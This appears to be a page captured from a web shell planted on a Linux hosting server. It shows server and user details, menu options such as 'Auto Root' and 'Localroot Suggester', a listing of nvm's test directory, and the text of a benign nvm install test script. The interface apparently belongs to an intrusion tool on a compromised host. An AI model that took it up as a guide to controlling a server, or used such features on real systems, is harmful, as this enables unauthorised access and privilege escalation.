Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
.nvm /
test /
fast /
Delete
Unzip
Name
Size
Permission
Date
Action
Aliases
[ DIR ]
drwxrwxr-x
2025-06-22 16:20
Listing paths
[ DIR ]
drwxrwxr-x
2025-06-22 16:20
Listing versions
[ DIR ]
drwxrwxr-x
2025-06-22 16:20
Set Colors
[ DIR ]
drwxrwxr-x
2025-06-22 16:20
Unit tests
[ DIR ]
drwxrwxr-x
2025-06-22 16:20
Running 'nvm alias' should create a file in the alias directory
146
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm current' should display current nvm environment
266
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm deactivate' should unset the nvm environment variables
1010
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm install' with '--reinstall-packages-from' requires a valid version
2.49
KB
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm install' with an invalid version fails nicely
412
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm unalias' should remove the alias file
147
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm uninstall' should remove the appropriate directory
116
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm uninstall' with incorrect file permissions fails nicely
320
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm unload' should unset all function and variables
723
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use foo' where 'foo' is circular aborts
992
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use iojs' uses latest io.js version
1
KB
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use system' should work as expected
1.52
KB
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use x' should create and change the 'current' symlink
770
B
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use x' should not create the 'current' symlink if $NVM_SYMLINK_CURRENT is false
1.98
KB
-rwxrwxr-x
2025-06-22 16:20
Running 'nvm use' should drop CR char automatically
512
B
-rwxrwxr-x
2025-06-22 16:20
Sourcing nvm.sh should make the nvm command available
41
B
-rwxrwxr-x
2025-06-22 16:20
Sourcing nvm.sh should not modify parameters of caller
62
B
-rwxrwxr-x
2025-06-22 16:20
nvm should remove the last trailing slash in $NVM_DIR
395
B
-rw-rw-r--
2025-06-22 16:20
setup
189
B
-rwxrwxr-x
2025-06-22 16:20
setup_dir
195
B
-rwxrwxr-x
2025-06-22 16:20
teardown
196
B
-rwxrwxr-x
2025-06-22 16:20
teardown_dir
157
B
-rwxrwxr-x
2025-06-22 16:20
Save
Rename
#!/bin/sh set -ex die () { echo "$@" ; cleanup ; exit 1; } cleanup () { rm -rf "${NVM_DIR}/v0.10.4" } export NVM_DIR="$(cd ../.. && pwd)" \. ../../nvm.sh \. ../common.sh make_fake_node v0.10.4 nvm deactivate >/dev/null 2>&1 set +ex # needed for stderr INSTALL_ERROR_MSG="$(nvm install v0.10.5 --reinstall-packages-from=0.11 2>&1)" set -ex EXPECTED_ERROR_MSG="If --reinstall-packages-from is provided, it must point to an installed version of node." [ "~$INSTALL_ERROR_MSG" = "~$EXPECTED_ERROR_MSG" ] \ || die ""nvm install --reinstall-packages-from" should fail when given an uninstalled version: expected '$EXPECTED_ERROR_MSG', got '$INSTALL_ERROR_MSG'" set +e # TODO: fix INSTALL_EXIT_CODE="$(nvm install v0.10.5 --reinstall-packages-from=0.11 >/dev/null 2>&1; echo $?)" set -e [ $INSTALL_EXIT_CODE -eq 5 ] \ || die ""nvm install --reinstall-packages-from" should exit with code 5 when given an uninstalled version, got ${INSTALL_EXIT_CODE}" set +ex # needed for stderr INSTALL_ERROR_MSG="$(nvm install v0.10.5 --reinstall-packages-from=0.10.5 2>&1)" set -ex EXPECTED_ERROR_MSG="You can't reinstall global packages from the same version of node you're installing." [ "~$INSTALL_ERROR_MSG" = "~$EXPECTED_ERROR_MSG" ] \ || die ""nvm install --reinstall-packages-from" should fail when given the same version: expected '$EXPECTED_ERROR_MSG', got '$INSTALL_ERROR_MSG'" set +e # TODO: fix INSTALL_EXIT_CODE="$(nvm install v0.10.5 --reinstall-packages-from=0.10.5 >/dev/null 2>&1; echo $?)" set -e [ $INSTALL_EXIT_CODE -eq 4 ] \ || die ""nvm install --reinstall-packages-from" should exit with code 4 when given the same version, got $INSTALL_EXIT_CODE" set +ex # needed for stderr INSTALL_ERROR_MSG="$(nvm install v0.10.5 --reinstall-packages-from 2>&1)" set -ex EXPECTED_ERROR_MSG='If --reinstall-packages-from is provided, it must point to an installed version of node using `=`.' [ "~$INSTALL_ERROR_MSG" = "~$EXPECTED_ERROR_MSG" ] \ || die ""nvm install --reinstall-packages-from" should fail when given an uninstalled version: expected '$EXPECTED_ERROR_MSG', got '$INSTALL_ERROR_MSG'" set +ex # needed for stderr INSTALL_ERROR_MSG="$(nvm install v0.10.5 --reinstall-packages-from= 2>&1)" set -ex EXPECTED_ERROR_MSG="If --reinstall-packages-from is provided, it must point to an installed version of node." [ "~$INSTALL_ERROR_MSG" = "~$EXPECTED_ERROR_MSG" ] \ || die ""nvm install --reinstall-packages-from" should fail when given an uninstalled version: expected '$EXPECTED_ERROR_MSG', got '$INSTALL_ERROR_MSG'" cleanup